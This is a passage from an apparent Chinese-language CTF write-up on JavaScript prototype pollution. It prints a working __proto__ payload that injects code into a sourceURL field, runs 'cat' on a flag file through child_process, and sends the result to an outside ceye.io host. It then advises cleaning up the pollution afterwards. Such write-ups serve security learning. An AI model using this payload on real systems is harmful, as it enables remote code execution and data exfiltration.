1 | {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://xxxx.ceye.io/${result}`);req.end();\r\n"}} |
此处还有一个小细节,就是原型链污染之后,除非重启环境,否则攻击效果一直都在,也就是你读取的flag将一直显示在网页上,所以必须在污染之后将变量恢复,省的泄露我们的flag。(这也就是上面for循环进行delete的原因)
3. 参考
《深入理解 JavaScript Prototype 污染攻击》
《JavaScript Prototype 污染攻击 之 Code-Breaking-TheJS篇》
0x09 picklecode
害,这个先不写了,有时间再补吧